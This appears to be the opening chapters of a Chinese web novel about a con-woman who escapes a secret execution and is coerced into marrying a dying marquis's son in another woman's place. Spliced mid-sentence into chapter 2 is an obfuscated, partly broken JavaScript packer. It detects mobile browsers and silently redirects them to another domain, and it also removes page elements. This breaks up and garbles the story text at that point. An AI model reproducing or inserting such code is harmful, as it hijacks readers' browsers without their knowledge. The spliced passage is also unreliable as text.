《被杀死的夫君回来了》 1. 牢狱之灾 潮湿的牢房里泛着霉味,像捂了前年的烂草席。高处,巴掌大的小窗漏进点惨淡天光,勉强照亮角落。 云雀蹲坐在墙角,扯了扯身上灰扑扑的老头衣裳,假胡子歪了一半,露出她原本白皙的下巴。 她懊恼道:“就差一步,要是昨晚不贪那顿酒,眼下早该在官道上了!” 阿九盘腿坐在她旁边,老太太的粗布头巾松松垮垮地搭着,脸上画的皱纹被汗水晕开,混成脏兮兮的泥道子,滑稽又狼狈。 他叼着根枯草杆子在嘴里来回咂摸,听了这话,啐了一口:“那傻子装得可真像!瞧他那信誓旦旦说要娶你样子,眼里的泪花子都快掉下来了,谁知道一转头就报官!” 云雀一下下揪着枯草根,“我还当他真信了去,一个劲儿地问我‘银钱可还够’,我都没好意思多要那二十两……”话到这里,她自嘲地扯了下嘴角,“也是,成日泡在酒楼的浪荡子,能指望他有几分真心?” 阿九一把扯下粗布头巾,胡乱抹了把脸,显出底下十五六岁少年清亮的眉眼。 他盘腿往草堆上一歪,撞了下云雀的肩膀,“怕什么?咱们又不是头一回蹲大牢。”凑近些,压低声音,“咬死了是他自愿给的,实在不行,把藏在鞋底的那张银票吐出来,总能脱身。” 云雀没吭声,只抬头看向铁窗外那一小片灰蒙蒙的天。 京城三年,她和阿九扮过卖身葬父的孤女,演过寻亲未果的可怜人,可骗来的都是些散碎银子,总不够他二人安个家。 好不容易撞上个看得顺眼、出手又阔的。那人非但不占便宜,嘘寒问暖掏银子爽快,不过五日,竟还说娶她。原当是条肥鱼,心头甚至软了片刻……谁成想,临门一脚栽了跟头。 牢门“哐当”一声被推开。 一个膀大腰圆的衙差拎着水火棍晃悠着进来,靴底碾过潮湿的地面,溅起几星泥水。 “奉川来的?”他居高临下地睨着缩在墙角的两人,冷笑一声:“坑蒙拐骗的营生做到京城来了?胆儿挺肥啊!这回栽瓷实了吧?” 他抖了抖手里的文书,嗤道:“不仅姓名户籍是假的,连年纪都敢编?分明十九了,还骗三公子说十六,亏你说得出口!” 云雀一听,登时攥紧了衣角,心里“噌”地就窜起一股无名火。 她最恨别人提她年纪大,若非三年前被那短命鬼连累,家宅烧毁,又惹上恶人无处容身,何至于流落京城,将满十九了还和阿九在街头混日子。 一股气憋在胸口,可嘴上到底还得服软。 她低垂着头,暗暗翻了个白眼,再抬头时,澄亮的眸中已泛起泪花。 “差爷明鉴!小女子天生命苦,生来就命硬。落地克没了娘,三岁克死了爹,十一岁更是要命,接连克死了指腹为婚的娃娃亲和祖母,三年前……” 她喉咙一哽,带着哭腔,“……成亲那日,红烛都没点完,我那短命的夫婿…就…就咽气了。小女子实在怕害了谢公子,才……才不得已悄悄离开的。” 衙差“呸”地啐了一口:“悄悄离开?骗鬼呢!既是无心,怎么还收了他三百两银子?甚至开口要聘礼了!” 旁边的阿九赶紧抢着喊冤,膝行两步,哭丧着脸喊道:“青天大老爷诶!聘礼我们可没开口要,是那傻……咳,是那谢公子自个儿说要备下的!” 这话不假,阿九心里是真难受。若非是那傻子信誓旦旦说要风风光光下聘礼娶云雀,他们也不至于为了等他那句“下聘”多留了一天。 “哟呵?你还觉得自己挺有理儿?”衙差给气乐了,朝身后瞥了一眼。云雀这才发现他身后不远处还有一人,可牢里实在太黑,那人又站在角落,只得一双黑靴隐约可见,似乎…… 是双官靴。 她还想多看一眼,却见那衙差叉着腰,唾沫横飞,“京城这地界儿,金贵的人有,鱼龙混杂的渣滓也有。像你们这种骗子,爷们儿哪天不碰上几个?懒得搭理罢了。可你们俩倒好……”他伸出一根粗壮的手指,几乎戳到二人脑门上,“胆儿肥到骗到咱们府尹大人头上了!” 云雀和阿九同时倒抽一口冷气: “啥?!” “府尹大人?!” 衙差看着他二人瞬间煞白的脸色,扯了扯嘴角:“怎么,装傻?你们口中的‘傻子’,可是咱们谢府尹的独子,三公子!”他冷哼一声,“三公子也不知中了什么邪,还替你求情,说什么‘她必有苦衷’……呵,府尹大人可没瞎,饶不了你们这种蛀虫!” 他猛地从怀里掏出两张皱巴巴的纸,拍在栅栏上,“少废话,赶紧画押,等着吃牢饭吧。” 云雀心下一沉,暗道:完了…… 当初在云香楼门口蹲点,看来看去就数那个公子哥儿瞧着最顺眼——天天杵在雕花门廊下,活像尊镶金的招财猫。傻白甜似的,给跑堂递碎银时手指都不带抖的,说话温吞得能掐出水来。 说什么自己叫“谢安”,满京城姓谢的比河里的王八都多,谁知道这竟是京兆府尹心尖上的独苗。 她本就头疼,阿九又在耳边低声补上一刀:“姐……我之前听说,府尹家的姑娘,是宫里头……那位贵妃娘娘……” 云雀喉头一滚,凉气顺着脊椎往下窜。 那衙差似听到他二人低语,手中纸页哗啦一抖:“不止——”他拖长了调子,“谢三公子的二姐,还是懿王妃。” “谢家别的本事不论,就是小姐公子个个都有张倾国倾城的脸。大小姐入宫,宠冠六宫;二小姐嫁了贤名最盛的懿王,还是正王妃。这四小姐嘛,原是太子妃的首选,只可惜太子薨了才耽搁下来。如今虽还待字闺中,可门槛也叫求亲的踏破了。” “谢家就三公子这么一根独苗苗,他不必才高八斗,单凭那玉树临风的模样往那儿一站,多少豪门贵女趋之若鹜。”说着,衙差不屑地扫了眼满脸灰土、假眉毛歪斜的云雀,“也不知三公子哪只眼瞧上你了。” 阿九心里不痛快,梗着脖子顶撞:“我姐哪点差了?我见过这么多女子中,就没一个比我姐……”话未竟,衙差眼风如刀,横了过来。 此时此刻,云雀只觉得两眼一抹黑。 那般温润俊逸的脸,那般人畜无害的笑,随手撒金的阔绰……原来是在这等锦绣堆里泡出来的底气。 这回可真是,一脚踢到铁板上了。 阿九还想扑过去抱衙差的腿,却被对方揪着领子拎小鸡似的拽起。 “画押!” 沾满红泥的手指被强行按上罪状。紧接着云雀的手腕也被铁钳般的粗手攥住,在罪状上按下指印。 看着纸上那鲜红的手指印,云雀的心像是掉进了冰窟窿。 完了,这下怕不是要在大牢里蹲到人老珠黄了。 画押的朱砂还没干透,两人就被推搡着摔进新牢房。 云雀踉跄着扶墙站稳,发现这牢房竟铺着干草,矮桌上还摆着两碗热腾腾的牢饭。白米饭上盖着整只肥鸡,泛着诱人的油光。 阿九一屁股坐在稻草上,大概是刚才吓狠了,这会儿反倒有点劫后余生的轻松感,东摸摸西看看,嘴里嘀咕:“哎呀,这地方好多了。” 他冲着云雀挤挤眼,“我看呐,准是那三公子心软,偷偷打点过了,咱们说不定过两天就能出去。” 云雀还攥着黏腻的冷汗,满脑子都是“府尹大人独子”几个字砸下的惊雷。 旁边阿九已经盘腿坐下,捧起油汪汪的鸡腿,“吭哧”就是一大口,油星子顺着嘴角流到下巴颏:“嚯,比醉仙楼的味儿还正!”他嚼得腮帮子鼓起,声音含混不清,“我就说谢三公子是个厚道人……”全然忘了之前是谁一口一个“傻子”。 云雀没理他,皱着眉打量这间牢房。 青砖墙,新铺的干草,就关了他俩,连只虫蚁都没有。更怪的是这伙食…… 从小到大,骗人被抓也不是头一回了,哪回不是馊窝头冷水? 衙差那句“谢公子替你们求情”突然响在耳畔。谢安递银子时那老实巴交的样子,说“我一定会娶你”时眼里的水光…… 老实说,她骗过那么多人,从没见过哪个水鱼被坑了钱,还反过来塞更多银子,就怕他们不够花的。 难道,真是他打点的? “想啥呢,快吃吧!”阿九的声音打断思绪,他把另一碗堆得冒尖的油鸡饭推到她面前,米粒油润发亮,“再不吃我可吃了。” 他不提还好,这一提,云雀的肚子“咕噜”一声响。 真香。 饿了一天,管他是不是鸿门宴,总得填饱肚子。 纷乱的念头被饭菜热气一熏,散了大半。她抓起鸡腿,狠狠咬了一大口。 没啃几口,眼皮却像坠了铅,越来越沉。 “姐……”阿九的声音黏糊糊的,身子也晃悠起来,“这饭……劲儿真大……” 云雀心里咯噔一下:“……药……” 她想站起来,手脚却软得不听使唤。 “我……动不了……”阿九嘟囔着,脑袋一歪,靠在墙上不动了。 云雀强撑着抬眼,视野却像被墨汁浸染,飞快地黑了下去。 …… 云雀是被一阵“嚓嚓”声磨醒的,那声音像钝刀子刮骨,刺得人耳膜生疼。 她没敢睁眼,强迫自己混沌的脑袋清醒,凝神细听。 “都准备好了吗?”一个冷漠的声音响起。 “急啥?时辰到了自然会动手。”另一个粗噶的嗓子不耐烦地回,“老子干了十几年,闭着眼都知道怎么砍。” “府尹大人亲自交代,半点岔子都不能出。”冷漠的声音又警告。 粗噶嗓子哼了一声:“知道知道,老子哪回掉过链子?” 又一个谄媚的声音插进来:“大人您尽管放心,都安排妥当了。” 冷漠声音压低了些:“嗯……谢大人特意叮嘱,要干净利落,低调行事。” 云雀后颈的汗毛瞬间炸立。 她不是没听过有关于“私刑”的传闻:那些得罪了不能得罪的人、犯了不能见光的罪,又不够格明正典刑的,常常就这么无声无息地消失。 小偷小摸最多挨板子、蹲大牢,她和阿九这种小虾米,做梦也没想过会跟“砍头”挂钩。 回想刚才吃的那顿丰盛牢饭……哪是什么特殊安排,分明是断头饭! 她屏住呼吸,眯着眼,借着草堆缝隙往外瞄。 牢房里只剩一盏油灯苟延残喘,火光摇曳不定。阴暗促狭地空间空空荡荡,似乎为数不多的几人都聚到门口去了。 也是,既是执行私刑,自然不比普通牢房那样兴师动众。 这时,她感觉挨着自己的胳膊在剧烈发抖。转头一看,阿九也醒了,脸色惨白如纸。 云雀无声地做了个口型:听见了? 阿九用力抿紧嘴唇,重重点了下头,眼里全是惊恐。 两人同时闭上眼,用力吸了口气。 可越是生死关头,越要沉住气。 云雀稳住狂跳的心,无声地指了指阿九的肚子。 阿九到底跟得 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“哎哟——疼!疼死我了!!”不等狱卒把话说完,阿九突然抱着肚子在草堆上打起滚来,额头瞬间冒出豆大的冷汗,叫声凄厉无比,“差爷,那鸡饭……鸡饭有毒,他们要毒死我啊!” 云雀大惊失色扑过去:“怎么回事?别瞎说,我吃了怎么没事?”她慌乱地抬头看狱卒,“差爷,您快看看他,这、这万一死在牢里可说不过去啊!” 狱卒本想再踢一脚,但转而想起那句“低调行事”的嘱咐,又见阿九疼得脸都扭曲了,汗珠子滚得跟黄豆似的,不像作假。 他骂了句娘,不耐烦地蹲下身去查看:“穷毛病真多,让老子看看!” 就在他弯腰凑近的刹那—— 云雀眼中寒光一闪,抄起地上豁了口的陶碗,用尽全身力气,朝着狱卒的太阳穴狠狠砸下。 “砰!” 沉闷又刺耳的碎裂声在死寂的牢房里炸响。 狱卒连哼都没哼一声,眼珠子难以置信地瞪得溜圆,像一袋烂泥般直挺挺栽倒,后脑勺迅速洇开一滩暗红的血泊。 阿九吓得倒抽一口冷气。 “还愣着做甚么?快!”云雀动作快得惊人,已经扑过去抓起掉落的钥匙串,“哗啦”几下就解开了两人手脚的镣铐。 阿九看着地上带血的碎陶片,声音发颤:“姐……幸好有这破碗……” 云雀没空理他,紧张地探头看向门外走廊。 还好,空无一人。 眼下刀已经悬在脖子上了,她也不再多想,飞快扒下的狱卒外衣和腰牌塞给阿九,“穿上!” “姐,不行!你穿!”阿九推开。 “现在是互相推来推去的时候吗?听姐的,快穿上!” 云雀语速又快又急,一把将衣服塞进阿九怀里,见阿九满眼担忧,将声音缓了几分:“你又不是不知道,你姐我最大的本事就是逃命。你想咱们俩都折在这儿吗?” 阿九看着她眼中那份不容动摇的决意,知道再拖下去只会害了两人。他不再犹豫,红着眼眶,咬着下唇,麻利地套上那身还带着体温和铁锈血腥味的差服。 宽大的衣服挂在他单薄的少年身架上,有些滑稽,又透着悲凉。 “出去后就分头跑,天亮前城西破庙碰头。”云雀语速飞快,目光紧紧锁住阿九的眼睛,不容他半点错神:“记住了,如果天亮后我还没到……” 她顿了一下,声音艰涩,“你就想办法出城,别回头。” 阿九重重点头,眼泪在眼眶里打转。 …… 更深露重,月光被乌云啃得残缺不全。 两人紧贴着冰冷墙壁的阴影疾行,寒风裹挟着浓烈的腐臭味扑面而来。 待眼睛适应了黑暗,眼前的景象突然较二人猛地刹住脚步——歪斜的墓碑林立,几点幽绿色的磷火在坟头诡异地飘荡。 此处非但不是什么官道,而是一片乱葬岗。 不远处,几支火把骤然亮起。 几个模糊的黑影正一锹一锹挖着土坑,边上另有两人抱刀而立,雪亮的刀锋在火光映照下闪这刺目的寒光。 噗通。 阿九双腿一软,膝盖重重磕在碎石上,牙齿不受控地“咯咯”打战。 云雀眼疾手快,一把揪住阿九的后领将他猛地提起,指甲几乎掐进他肉里:“别看了,赶紧跑!” “记住我的话。”她使出全身力气,狠狠将阿九推向另一个方向。 两道黑影如同受惊的野兔,分别扎进浓稠的夜色里。身后传来杂乱的脚步声和叫骂,但很快就被呼啸的风声吞没了。 云雀头也不回,一路拼命狂奔,心中只想着祖母的话“活下去,只有活着才有希望……” 她不敢停,也不敢慢,借着残垣断壁的掩护,一路躲躲藏藏。 直到天际泛起一丝灰白,那座塌了半边山墙的城西破庙终于出现在视野里。 她几乎是撞进去的,背抵着冰冷的庙墙,大口喘着粗气,胸腔火辣辣地疼。 待缓了一息,她环顾四周,却见空无一人。 这不对劲。 阿九平日跑得比兔子还快,如果一切顺利,即便绕路也该到了。 一股强烈的不安瞬间攫住了她。 正担心着,庙门“吱呀”一声被推开。 云雀心头一喜,脱口而出:“阿——” 然而“九”字还未吐出,一道冰冷得没有丝毫温度的声音,从那片漆黑的阴影里幽幽响起: “姑娘可知道,逃狱是死罪?” 2. 替嫁 冰冷的声音砸在云雀的后脑勺上,激得她浑身汗毛倒竖。 她僵硬地、一寸寸地转过头,视线猝然撞进门口一双深不见底的黑眸。 来人一身墨黑,面上覆着毫无纹饰的面具,只露出那对令人心悸的眼。 分明已是晨曦微露时分,他往门口一站,却像一堵密不透风的墙,将门外那点可怜的天光尽数吞噬,只余下浓稠的、令人窒息的阴影将她牢牢罩住。 “知道逃狱是什么罪?”那声音又重复了一遍,平平的,听不出喜怒,却比衙差的怒骂更让人心头发寒。 云雀下意识地往后缩了缩,背死死抵住门板。她想说什么,喉咙却紧得厉害,只发出一点气音。 黑衣人像是没看见她的惊恐,自顾自走了进来。 步子很轻,踩在布满灰尘的破庙地面上,几乎没有声音。 他停在离云雀两步远,居高临下地审视着她脸上混杂的汗渍、尘土和惊恐,缓缓开口: “奉川来的。” 不是问句,是陈述。 云雀的心又是一沉,没吭声。 “云雀。”黑衣人的声音依旧平淡,“本姓吴,爹娘死得早,一个开纸扎铺的老婆子把你拉扯大十一岁那年,你那个连面都没见过的娃娃亲,得急病死了。没过多久,拉扯你的老婆子也病逝了。” 云雀呼吸一窒。 “然后你就成了街面上混饭吃的小骗子。”黑衣人继续说着,像在念一份冰冷的卷宗,“够‘硬’的命格。” 云雀猛地抬起头,强自稳住声线,却依旧有些变调:“你……你到底想干什么?!” 黑衣人的目光在她脸上停留片刻,似乎在确认她眼底真实的恐惧。 片刻后,他才慢慢报出一个名字:“永定侯府二公子,江聿风。” 没听过,更没见过。 云雀一愣,脱口道:“与我何干?” 黑衣人冷道:“他如今病入膏肓,太医都说没几天好熬了,侯府想找人冲喜。” 冲喜? 云雀先是一愣,混乱的脑子里很快闪过一个念头:冲喜不该找福气大的、八字好的吗?为何会找她这种命硬的。 像是看穿了她的疑惑,黑衣人接着道:“侯府的人是想找个八字相合的冲喜,并且已经找到了。但是我……要找个‘煞星’,去送那快死的病秧子一程。” 云雀瞳孔猛地一缩,一股寒意瞬间从骨头缝里钻出来。 “你,”黑衣人的手指隔空点了点她,“很合适。天煞孤星的命,克父克母克夫克亲,连养大你的老乞婆都没逃过。” 这些字眼云雀自己说说倒也罢了,可此刻从这冰冷无波的声音里砸出来,就是另一种感觉了。 被叫“扫把星”的日子,走在街上兜头砸来的烂菜叶子,被人赶走时嫌恶地咒骂着“晦气”,纸扎铺转眼被拆得片瓦不留……十一岁起,她就和阿九在泥泞里刨食,小偷小骗,把命吊着。 三年前那个好不容易遇见那个人,让她恍惚以为能抓住一点暖。 可结果呢? “克父克母克夫克亲”一个字一个字地扎进云雀心里。 不知是心虚还是对宿命的无力反驳,她提了口气,大声道:“生死各有天命!不过是恰巧都被我撞上了,怎么就成我煞星了!?我还……” “给你个活路。”黑衣人毫不客气地截断了她的话头,“洗掉逃犯的底子,换副干净身家。替林府那位庶出的四小姐林云舒,嫁进永定侯府。”他微微俯身,“你的活儿就一件,‘克’死江聿风。等他断了气——” 他顿了顿,声音里没什么波澜,却砸得云雀心头一跳,“五万两雪花银,送你和你那叫阿九的兄弟,远、走、高、飞。” 五万两?! 这三个字像烧红的烙铁,烫得云雀脑子里“嗡”一声。有了这笔钱,她和阿九这辈子再不用坑蒙拐骗,东躲西藏,看人脸色吃饭了。 她使劲咽了口唾沫,压下心头乱撞的狂喜,声音还是不自觉地带了点颤:“这…这种事……哪能打包票?”她飞快地抬眼瞟了下黑衣人,又迅速垂下,“万一……万一我‘克’不死他呢?” “克不死?”黑衣人肩头似乎极其轻微地动了一下,像是一声极短的嗤笑被咽了回去,“那你就是永定侯府正儿八经的二少奶奶,顶着林云舒的身份,享一辈子的泼天富贵。或者……” 他手腕一翻,一个不起眼的黝黑小木牌抛了过来,正砸在云雀胸前的衣襟上。 云雀接过来,只见上面刻着个古怪的符号。 “七日后,你若觉得这富贵烫手,拿着这个,到老地方寻我。三万两,送你走,也够你们花一辈子了。”他的声音依旧平平的,像是在说一件再平常不过的事。 云雀下意识地攥紧了那枚还带着体温余热的木牌。 五千两……侯府少奶奶…… 天底下真有这种好事?刚死里逃生从乱葬岗爬出来,转头就有金馅饼砸脸上? 她攥着木牌的手指紧了又松,松了又紧,心口那点狂喜的火苗还是被求生欲激发的警惕压了下去。 “我不干!”云雀把木牌往地上一扔,撑着发软的腿就要站起来往外冲,“谁知道你安的什么心,我自己想法子跑……” 狠话还没撂完,肩膀骤然一沉。 一只铁钳般的大手死死按了下来,骨头被捏得发出不堪重负的“咯吱”轻响。她瞬间倒抽一口凉气,冷汗“唰”地就冒了出来。 “跑?”黑衣人冰冷的声音贴着她的耳朵响起,“迈出这道门槛,你就是板上钉钉的逃犯。京兆府的捕快、谢府撒出来的家丁,还有——”他将声音压得更低,带着一丝残酷的玩味,“宫里那位娘娘一句话就能调来的侍卫……都等着把你生吞活剥。” 云雀的身体僵住了,她能清晰地感觉到那只手上蕴含的恐怖力量。 “至于你那个兄弟——”黑衣人另一只手慢条斯理地探进怀里,摸出一样东西,在云雀眼前晃了晃。 那是一枚小小的、用桃核粗糙雕刻成的猴子挂坠,雕工笨拙,猴子脸甚至有点歪。 ——是阿九!这是他睡觉都要攥在手心里的宝贝,是他那没了音讯的娘留给他唯一的念想。 云雀只觉得全身的血液“唰”地一下,从头顶凉到了脚底板,心脏像被一只冰冷的手狠狠攥住。 “你把他怎么了?”她嘶喊着,身体本能地想往前扑,却被肩膀上的手死死按住。 黑衣人像是欣赏够了她瞬间炸裂的惊恐,慢悠悠地把桃核猴子收进怀里,“你那兄弟,腿脚倒快,可惜慌不择路,跑岔了道。今日,怕是赶不回来了。” 他拍了拍放桃核的位置,“你点头,他明日就是林府陪嫁队伍里清清白白的小厮。你摇头……”后头的话没说完,却是再明了不过了。 破庙里死一般寂静。 几缕晨光挣扎着爬进来,斜斜地打在布满灰尘的地上,将两人投在地上的影子拉得老长,一明,一暗。 不知过了多久,其中一道影子动了动。 云雀抹了一把脸,吸了吸鼻子,稳住声线,一字一句道: “……好。我嫁。” *** 云雀只记得自己被一块带着怪味的黑布蒙住了头脸,然后后颈一痛,就什么都不知道了。 再醒来时,浑身像是被碾过一般酸软无力。一股浓郁得化不开的甜腻香气直往鼻腔里钻,香得发闷,熏得人脑仁儿隐隐作痛。 云雀眼皮动了动,费力地睁开一条缝。 视线还有些模糊,只看到一片晃眼的红色——红的帐幔,红的锦被。 她动了动手指,指尖触到身上光滑冰凉的衣料,显然不是她那身破烂囚衣。 “夫人。”一个上了年纪、略显刻板的妇人声音在很近的地方响起,带着一种小心翼翼的恭敬。 云雀心头警铃大作,几乎是本能地阖上眼,放缓呼吸,装出昏沉未醒的样子。 “就是她了?”另一个女声响起,更年轻却更为沉稳、带着些许疲惫,“瞧着……倒还伶俐。” 之前那个刻板的声音立刻应道:“是。夫人您瞧瞧,已经按小姐平素最喜欢的样式梳洗妆扮妥当了,衣裳、发髻,一丝都不差。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995521|178153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“嗯,”那位夫人的目光似乎在她脸上停了片刻,“轮廓……细看是有那么六七分相似之处。” 云雀心里咯噔一下,明白了。塌边这位“夫人”,恐怕便是那林府四小姐林云舒的母亲。 那嬷嬷陪着笑:“夫人您就宽宽心吧!咱们四小姐啊,性子最是娴静,平日里连院门都少出,顶多……”她舌头打了个顿,换了个词儿,“顶多自个儿出去挑几本……闲书解解闷儿。她不爱凑那些小姐们的诗会花宴,更别说江家了。他们府上连小姐的面都没正经见过,只凭着一幅好些年前的旧画像认人。” 嬷嬷的声音压低了些,带着点笃定的算计,“横竖新娘子盖头一遮,红绸子牵着,拜了天地入了洞房,生米煮成熟饭,神仙也瞧不出端倪!” 夫人听了,声音更沉了,带着压抑的怒气:“别提那些个混账画本子,就是那些东西把她脑子都给看糊涂了!先是魔怔了似的,整日里念叨什么‘真命天子’‘如意郎君’,后来有了野种不说,竟然还……” 她猛地顿住,像是被什么恶心东西噎住喉咙,半晌才又叹道:“我们二房统共就她这么一个指望,好不容易才改了八字,攀上永定侯府这门亲。那江二公子……”声音微妙地顿了顿,“身子骨是弱了点,常年离不开药罐子,可人家是实打实的侯府嫡公子,这身份门楣,满京城数得上号。更别提那品貌才情,哪一样不是拔尖儿的?” 嬷嬷似乎连点了好几下头,赶紧顺着夫人的话头往下劝:“夫人说的是!小姐年纪小,一时钻了牛角尖,等在外头受了磋磨,晓得厉害了,自然就想着回家了。”她往前凑了半步,声音压得更低,“到时候,咱们悄悄寻个妥帖的地方安置小姐,给她换个身份。等这阵风头彻底过去了,凭咱们林府的门路,再给小姐寻一门体面的亲事,那也是不难的。” “至于眼下……”她见夫人面色稍霁,胆子似乎更大了些,声音压成了耳语,“夫人您细想想,江二公子那身子骨,也不是一天两天了,京里谁不知道?就是个药喂大的主儿,听说连地都下不了,整日里歪在轮椅上……” 嬷嬷撇了撇嘴,“……那闺房里的乾坤,还能指望他折腾出什么花来?咱们小姐可是正经的金枝玉叶,若真嫁过去守活寡,那才是委屈大了呢!如今找个命硬的丫头片子替小姐挡了这一灾,既全了两家的脸面,又保住了咱们二房地位和小姐的名声。这桩桩件件,可不就是老天爷送上门的两全其美?” 夫人沉默了良久,最终长长地、深深地叹了口气,“但愿……真能如你所言吧。此事,绝不能走漏半点风声。” “夫人只管放心,老奴省得利害。”嬷嬷恭敬地应着。 躺在床上的云雀闭着眼睛,心里早已把这林府二房骂了个狗血淋头。 为了攀高枝儿,明知那侯府公子是个喘气都费劲的病秧子,还硬要把亲女儿往里塞,棒打鸳鸯不算,新娘子跑了,不想着回头,反倒要找个替死鬼来顶缸,真够歹毒的。 不过……云雀转念一想,又隐隐松了口气,甚至有一丝动摇。 天上掉馅饼的事不是没有,可她不信会掉到她身上。从小到大,何时轮到过她中头彩。 因而这回嘴上是应下了替嫁,可那纯粹是为了阿九的安危。 来这趟前她就下定决心,只要熬过明天,管他江二公子是死是活,她立马带着阿九溜之大吉。那黑衣人的五万两许诺也好,侯府少奶奶的富贵也罢,她压根儿没往心里去,谁知道那黑心肝的打什么主意? 可现下听这嬷嬷的意思,那江家二公子病得只剩半口气儿了。根本不用她“克”,他自己怕是也撑不了几天。 就算阎王爷暂时不收他,他行不了那事儿,也算省了一桩天大的麻烦。 这么一盘算…… 云雀藏在被子里的手指头下意识捻了捻。那五万两雪花银,似乎也并非完全没指望。 待到那时,要么抱着银子乐得打滚,要么在侯府里当个吃香喝辣、万事不愁的“活寡妇”,横竖都是躺着享福的美事儿。 想到这里,云雀的嘴角无意识往上牵了牵。 “醒了?” 3. 新婚之夜 秦嬷嬷到底眼尖,一下瞧见云雀微动的眼睫。 知道瞒不过,云雀索性也不再装,慢慢掀开眼皮,又故作迷蒙地用力眨了眨眼,这才循着声音的来源,缓缓转过头去。 视线渐渐清晰——眼前站着两个人。 一个穿着深褐色袄裙的嬷嬷,约莫五十出头的年纪,一对上斜眼,一张四方阔嘴,左下巴块与嘴一般宽的黑斑,乍眼看去,像是生了两张嘴。 另一个是位看着约莫四十出头、穿着深紫色暗纹锦缎衣裳的妇人,凤眼薄唇,皮肤白皙,面容保养得宜,只是眉宇间锁着一股化不开的愁绪,应该就是“二夫人”了。 二夫人对上云雀彻底睁开的眼睛,微微一怔,眉眼间的愁绪似乎淡了几分。 “嗯,”她轻轻颔首,目光在云雀脸上流连,“模样是俊俏,清清爽爽的,倒有几分肖似云舒……这眉眼,瞧着比云舒还灵动些。”她侧过头对那嬷嬷道:“秦嬷嬷,这事办得还算稳妥。” 秦嬷嬷立刻躬了躬身,“夫人过誉,都是老奴分内事。”说着便上前一步,将云雀从锦被里扶坐起来,“四小姐,二夫人来瞧您了。” 云雀心底冷笑,改口倒是比翻书还快。 不过演戏这事,云雀也不赖。 她面上半分波澜不起,顺着秦嬷嬷的力道下了榻,站稳,对着端立的二夫人规规矩矩地福下身去,姿态是现学现卖的闺秀模样,连嗓音都掐得比平日软糯了几分:“云舒……见过娘亲。” 林夫人满意地“嗯”了一声,目光在她身上又停留了片刻,才缓声道:“明日大婚,你只管安安心心地嫁过去。好生伺候夫君,孝敬公婆。侯府和林家,都亏待不了你。”她顿了顿,“其余的规矩细处,秦嬷嬷自会一一教你。” 说着,她随手朝房间角落一指:“那边都是云舒平日用惯、爱惜的东西,一并给你添作嫁妆,送往侯府。” 云雀这才注意到墙角堆着几个箱笼。 最大的敞着口,码放着层层叠叠、光泽流转的锦缎衣裙;旁边一个略小的,里面珠光宝气,尽是些嵌宝的金簪、点翠的步摇、剔透的玉镯……另外还有几个锁着的,不知里头都是些什么宝贝。 云雀呼吸都滞了一瞬,光是眼前这几箱,怕是都够她和阿九吃穿不愁了。 可林夫人那句“明日”…… 她下意识瞥了眼窗外,夕阳的余晖正泼洒在窗棂上,染得窗纸一片橘红,怕是已经酉时了。 离那要命的“明日大婚”,竟只剩这一晚的光景了?! 秦嬷嬷似看出她的忧虑,“小姐宽心,该预备的一样不落,老奴都料理妥当了。”话音未落,一本寸许厚的蓝皮册子已递到了云雀眼皮子底下,“小姐只需将此册牢记于心,便万般无虞。” 云雀心头疑惑,伸手接过。 册子入手颇沉。 她翻开一看,密密麻麻的小楷挤满了纸页——从永宁侯府老太君古怪的饮食忌讳,到侯夫人身边得脸大丫鬟的生辰八字;从侯爷偏爱的茶叶种类,到江二公子房里伺候的小厮名字……事无巨细,详尽得令人头皮发麻。册子最后,还硬生生缀上了林家十几页的族谱,外带王氏同样厚厚一沓的姻亲名录! “王氏?”云雀眉头本能地蹙起。林家的族谱她能理解,这王家…… 秦嬷嬷解释道:“四小姐是二房独女,夫人母家的谱系渊源,自然也是您该知晓的。” 林二夫人轻轻叹了口气,目光落在云雀捧着的那本厚重的册子上,语气颇为体谅:“一晚上要记下这许多,确实难为你了。拣些顶要紧的记下便是,”她顿了顿,“最紧要的是明日的仪态规矩,莫要做出小家子气的举动,失了林家女儿的分寸。” 云雀有气无力地应了一声,低下头,重新看起来。这册子厚是厚了点,但她打小就有过目不忘的本事,一晚上囫囵吞个大概,倒也不算太难。 她手指快速划过纸页,正盘算着哪些人名可以略过,视线却猛地被几个字卡住——“擅琴”。 云雀抬起头,愕然道:“别的……别的先不说,这‘擅琴’……?”她自己都觉得荒谬,“我……我连琴弦有几根都未必数得清啊!” “早先送去侯府的庚帖上,白纸黑字写得明白。是以,你需得‘知道’。”二夫人声音一停,带上几分不容置疑的压力,“更要提前想好周全的应对之策,莫要当场露怯。” 这烫手的银子,果然不是闭着眼就能揣兜里的。 云雀嘴角撇出一个无声的弧度,认命地垂下脑袋。 也罢,走一步算一步。 ***** 云雀几乎是睁着眼睛熬到天亮,才勉强把那本砖头似的册子囫囵吞进脑子里七七八八。 此刻她脑子里像塞满了浆糊,一会儿是“老太君忌食鸭腥”,一会儿是“侯夫人贴身嬷嬷唤作李嬷嬷”,各种人名规矩搅成一团乱麻。 以至于天色刚泛起鱼肚白,丫鬟婆子们便鱼贯而入,七手八脚地开始折腾她——梳头绞面、敷粉描黛、穿上层层叠叠绣着金凤的嫁衣…… 她像个提线木偶似的被摆弄着,全程都晕晕乎乎,脚下发飘。 外面猛地响起一声高亢的唱喏:“吉——时——到——!” 随着这声宣告,沉甸甸的鎏金点翠凤冠重重压上头顶。眼前最后一点光亮被二夫人亲手覆下的厚实锦缎盖头彻底隔绝,只剩下一片朦胧晃动的红。 云雀感觉手臂被人搀扶着,深一脚浅一脚地挪出了门。 震耳欲聋的鞭炮声噼啪炸响。 恭贺声、笑语声喧嚣鼎沸,间或夹杂了几声不和谐的低语: “啧,瞧见没?新郎官坐轮椅出不得门,连个迎亲的影儿都没有。” “啊?那……那谁来迎啊?” “迎?想得美!不过是个庶出的丫头片子,说是个小姐,真论起来……哼,赔钱货罢了。能攀上永定侯府这门亲,已经是祖坟冒青烟了,还做梦想着八抬大轿、新郎亲迎?” “可不就是送过去冲喜的?只怕进了门就得守寡喽……” 盖头遮挡了视线,听觉却变得格外敏锐。 